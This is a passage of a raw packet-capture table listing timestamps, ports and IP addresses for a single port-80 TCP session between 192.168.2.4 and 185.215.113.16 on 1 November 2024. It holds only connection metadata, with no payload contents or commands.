Nov 1, 2024 10:56:10.893229961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893250942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893747091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893759012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893769026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893779039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893790960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893798113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893815041 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893891096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893906116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893917084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893928051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893929958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893938065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893955946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893959999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893965960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893975973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893978119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893989086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894000053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894011021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894018888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894018888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894022942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894046068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894056082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894057989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894068003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894081116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894092083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894098997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894104004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894114971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894128084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894161940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894815922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894828081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894836903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894848108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894860029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894870996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894875050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894881964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894898891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894903898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894910097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894920111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894926071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894931078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894942045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894942999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894953966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894965887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894975901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.894978046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894989014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.894999981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895003080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895011902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895021915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895034075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895037889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895045042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895056963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895068884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895070076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895080090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895091057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895103931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895132065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895813942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895826101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895834923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895844936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895857096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895867109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895874023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895875931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895888090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895889044 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895899057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895903111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895910978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895921946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895931959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895932913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895942926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895945072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895952940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895960093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895965099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895977020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895988941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.895991087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.895999908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.896019936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.896034002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.926579952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926593065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926604986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926630020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926642895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926661015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.926709890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926712990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.926722050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926733017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926770926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.926925898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926969051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.926973104 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.926980972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927016020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927027941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927156925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927167892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927177906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927200079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927232027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927263975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927273989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927284956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927320004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927377939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927387953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927397966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927412033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927421093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927423000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927432060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927515984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927525043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927526951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927537918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927546978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927562952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927577972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927648067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927658081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927685976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927714109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927736998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927748919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927758932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927769899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927786112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927812099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.927963972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927975893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927985907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.927995920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928006887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928009987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928016901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928024054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928029060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928040028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928046942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928051949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928069115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928092957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928203106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928214073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928224087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928252935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928277969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928289890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928327084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928414106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928422928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928432941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928446054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928456068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928467035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928468943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928479910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928483009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928500891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928517103 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928533077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928623915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928636074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928643942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928653955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928667068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928668022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928678036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928689003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928698063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928710938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928735018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928797960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928807974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928844929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928845882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928857088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928891897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928900003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928904057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928947926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928951979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.928960085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928968906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928982019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.928992987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929006100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929008007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929016113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929030895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929048061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929208040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929218054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929229021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929239035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929263115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929276943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929339886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929348946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929358006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929368019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929379940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929383993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929394960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929404020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929404020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929420948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929429054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929433107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929442883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929451942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929455042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.929474115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.929493904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.142676115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.142745972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.292296886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.297255993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297308922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297322035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297353029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.297424078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297435999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297446012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297458887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297467947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.297487974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.297519922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297537088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297569036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.297656059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297666073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297676086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297688007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297697067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.297700882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297715902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.297719002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297730923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297741890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297744036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.297753096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297765017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.297774076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.297791958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298187971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298199892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298211098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298222065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298237085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298238039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298249960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298261881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298269987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298273087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298291922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298301935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298305035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298314095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298324108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298333883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298336983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298347950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298348904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298362017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298371077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298398018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298669100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298680067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298690081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298703909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298711061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298717022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298727989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298736095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298738956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298751116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298763990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298789024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298811913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298823118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298832893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298851013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298855066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298861980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298872948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298883915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298887014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298896074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298904896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298907995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298919916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298929930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298930883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298943043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298953056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298959970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298964977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298976898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.298985004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.298989058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299017906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299030066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299737930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299750090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299760103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299774885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299784899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299787045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299804926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299810886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299815893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299827099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299839973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299840927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299853086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299863100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299865007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299875021 CET	80	49738	185.215.113.16	192.168.2.4
